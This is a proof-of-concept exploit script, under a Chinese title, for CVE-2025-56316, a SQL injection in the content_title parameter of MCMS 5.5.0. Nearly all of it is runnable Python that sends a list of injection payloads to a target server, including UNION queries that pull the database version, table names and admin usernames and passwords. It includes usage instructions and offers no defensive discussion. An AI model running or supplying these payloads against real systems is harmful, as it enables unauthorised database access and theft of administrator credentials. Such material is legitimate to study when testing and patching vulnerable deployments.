CVE-2025-56316：MCMS 5.5.0 SQL注入漏洞

# CVE-2025-56316 PoC - MCMS 5.5.0 SQL Injection # Vulnerability: SQL Injection in content_title parameter of /cms/content/list endpoint # Author: Erosion2020 # Reference: https://gist.github.com/Erosion2020/5892757e0c6eeb647a218d1c3b323cff import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" ENDPOINT = "/cms/content/list" # SQL Injection payloads for content_title parameter payloads = [ # Basic boolean-based injection test "1' AND '1'='1", "1' AND '1'='2", # Union-based injection to extract database version "1' UNION SELECT 1,version(),database(),4,5,6,7,8,9,10-- -", # Extract table names (MySQL example) "1' UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10 FROM information_schema.tables WHERE table_schema=database()-- -", # Extract admin credentials "1' UNION SELECT 1,username,password,4,5,6,7,8,9,10 FROM mcms_user-- -", # Time-based blind injection "1' AND SLEEP(5)-- -", ] def exploit_sql_injection(target_url, payload): """Send SQL injection payload to vulnerable endpoint""" url = f"{target_url}{ENDPOINT}" params = { "content_title": payload } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Content-Type": "application/x-www-form-urlencoded" } try: response = requests.get(url, params=params, headers=headers, timeout=30) return response except Exception as e: print(f"[ERROR] Request failed: {e}") return None def main(): print(f"[*] Targeting: {TARGET_URL}") print(f"[*] Endpoint: {ENDPOINT}") print(f"[*] Testing SQL Injection in content_title parameter\n") for i, payload in enumerate(payloads, 1): print(f"[+] Payload {i}: {payload[:80]}...") response = exploit_sql_injection(TARGET_URL, payload) if response and response.status_code == 200: print(f" Status: {response.status_code} | Length: {len(response.text)}") # Check for database information leakage if "mysql" in response.text.lower() or "version" in response.text.lower(): print(f" [!] Possible data leakage detected!") print(f" Response snippet: {response.text[:500]}") print() if __name__ == "__main__": main() # Usage: python poc.py http://target-mcms-server.com # Note: Adjust payloads based on the database backend (MySQL, MSSQL, PostgreSQL, etc.)